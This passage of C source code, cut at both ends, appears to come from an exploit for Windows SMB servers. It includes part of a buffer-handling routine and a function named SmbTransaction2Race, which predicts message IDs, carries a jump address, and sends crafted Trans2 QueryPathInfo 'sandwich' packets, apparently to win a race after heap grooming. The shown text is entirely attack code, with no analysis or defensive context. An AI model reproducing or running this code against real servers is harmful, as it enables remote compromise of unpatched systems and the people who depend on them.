bwscat(sentdata, &req->ThisPacket);
//append latest recieved packet to global recieved data buffer
bwscat(recieveddata, &resp->ThisPacket);
//get next entries in lists
//req = req->NextEntry, resp = resp->NextEntry;
//transreqentry = transreqentry->Flink, transrespentry = transrespentry->Flink;
*/
goto success;
success:
PutUshort(&GlobalGroomCount, 10);
if (isnull(GlobalGroomMids = ((WORD*)(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, sizeof(WORD) * MAKESIZET(GlobalGroomCount))))))
goto fail;
RtlZeroMemory(GlobalGroomMids, sizeof(WORD) * MAKESIZET(GlobalGroomCount));
RtlCopyMemory(GlobalGroomMids, mids, sizeof(WORD) * MAKESIZET(GlobalGroomCount));
SetLastError(0);
return GetUshort(&req->ThisSmb->Mid);
fail:
SetLastError(GetUlong(status));
return NULL;
}
WORD __stdcall SmbTransaction2Race(RequestPacketLinkedList IN OUT* requestliststart, ResponsePacketLinkedList IN OUT* responseliststart, smb_info IN OUT* info, ULONGLONG IN jmp_addr, BUFFER IN OUT* sentdata, BUFFER IN OUT* recieveddata)
{
RequestPacketLinkedList* req = requestliststart;
ResponsePacketLinkedList* resp = responseliststart;
unsigned status[2] = { 0 }, smbreqrespcount = 0;
BOOLEAN bstatus = TRUE;
SOCKET* s = ((SOCKET*)(info->socketpointer));
PTRANS_REQUEST_LIST& transreqentry = ((PTRANS_REQUEST_LIST&)(info->currenttransreqentry));
PTRANS_RESPONSE_LIST& transrespentry = ((PTRANS_RESPONSE_LIST&)(info->currenttransrespentry));
WORD Mid[2] = { 0 };
if (
isnull(requestliststart) ||
isnull(responseliststart) ||
isnull(info) ||
isnull(sentdata) ||
isnull(recieveddata) ||
(!GetUlongPtr(&jmp_addr))
)
{
PutUlong(status, STATUS_INVALID_PARAMETER);
SetLastError(GetUlong(status));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
return NULL;
}
//go to the next blank entry in our request list
if (notnull(req->ThisPacket.pbdata))
while (notnull(req->ThisPacket.pbdata))
req = req->NextEntry;
//go to the next blank entry in our response list
if (notnull(resp->ThisPacket.pbdata))
while (notnull(resp->ThisPacket.pbdata))
resp = resp->NextEntry;
while (notnull(transreqentry->smb))
transreqentry = transreqentry->Flink;
while (notnull(transrespentry->smb))
transrespentry = transrespentry->Flink;
if (isnull(transrespentry->Blink->smb))
{
PutUlong(status, STATUS_FAIL);
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}
set_mid(info, GetUshort(&transrespentry->Blink->smb->Mid) + LOWORD(random() % 0x10));
//set_mid(info, LOWORD(8361));
bstatus = SendRecvTrans2QueryPathInfoPacketSandwich(req, resp, jmp_addr, GetSocket(s), info);
++smbreqrespcount;
req->ThisSmb = MAKEPSMB(req->ThisPacket.pbdata + SMB_HEADER_OFFSET);
resp->ThisSmb = MAKEPSMB(resp->ThisPacket.pbdata + SMB_HEADER_OFFSET);
req->ThisNetbiosSize = (req->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
resp->ThisNetbiosSize = (resp->ThisPacket.pbdata + NETBIOS_SIZE_OFFSET);
//extract any meaningfull info from request packet
update_smb_info(info, &req->ThisPacket);
//extract any meaningfull info from response packet
update_smb_info(info, &resp->ThisPacket);
if (!bstatus)
{
PutUlong(status, ((GetLastError() == 0) ? STATUS_FAIL : GetLastError()));
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
goto fail;
}